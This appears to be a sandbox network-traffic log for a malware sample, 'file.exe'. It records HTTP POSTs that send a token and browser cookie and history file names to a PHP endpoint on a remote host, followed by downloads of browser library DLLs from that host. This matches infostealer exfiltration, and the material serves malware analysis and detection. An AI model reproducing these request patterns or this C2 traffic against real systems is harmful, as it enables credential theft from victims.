Nov 30, 2024 09:44:03.781457901 CET	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	185.215.113.206	80	6964	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:44:13.008447886 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFC Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GDGHJEHJJDAAAKEBGCFC--
Nov 30, 2024 09:44:14.932411909 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:15.032890081 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 09:44:15.032941103 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 30, 2024 09:44:15.988260984 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:16.031012058 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file"------ECGDHDHJEBGHJKFIECBG--
Nov 30, 2024 09:44:16.983356953 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:17.276343107 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="file"------EHJDGCBGDBKJKFHIECBA--
Nov 30, 2024 09:44:18.258795023 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:18.458472013 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 09:44:18.912971973 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 30, 2024 09:44:18.913374901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 30, 2024 09:44:18.913387060 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 30, 2024 09:44:18.914908886 CET	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 30, 2024 09:44:18.914953947 CET	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
Nov 30, 2024 09:44:18.916588068 CET	1236	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1
Nov 30, 2024 09:44:18.921397924 CET	1236	IN	Data Raw: 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 Data Ascii: VuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}
Nov 30, 2024 09:44:18.921772957 CET	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Nov 30, 2024 09:44:18.929780006 CET	1236	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
Nov 30, 2024 09:44:18.930193901 CET	1236	IN	Data Raw: f0 fe ff ff 8b 5d e4 11 d3 03 85 5c ff ff ff 89 45 d0 11 f3 89 5d e4 31 d9 8b 95 64 ff ff ff 31 c2 89 d0 0f a4 c8 10 0f ac ca 10 89 95 64 ff ff ff 8b 4d c4 01 d1 89 4d c4 11 c7 89 c3 89 7d bc 31 fe 8b 85 5c ff ff ff 31 c8 89 f1 0f a4 c1 01 89 4d Data Ascii: ]\E]1d1dMM}1\1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]
Nov 30, 2024 09:44:20.442316055 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 09:44:20.896311045 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 30, 2024 09:44:21.855748892 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 09:44:22.309700966 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 30, 2024 09:44:23.297593117 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 09:44:23.751563072 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 30, 2024 09:44:27.049866915 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 09:44:27.504071951 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 30, 2024 09:44:28.159265995 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 09:44:28.613478899 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 30, 2024 09:44:29.094635963 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 09:44:30.350805998 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:30.398834944 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 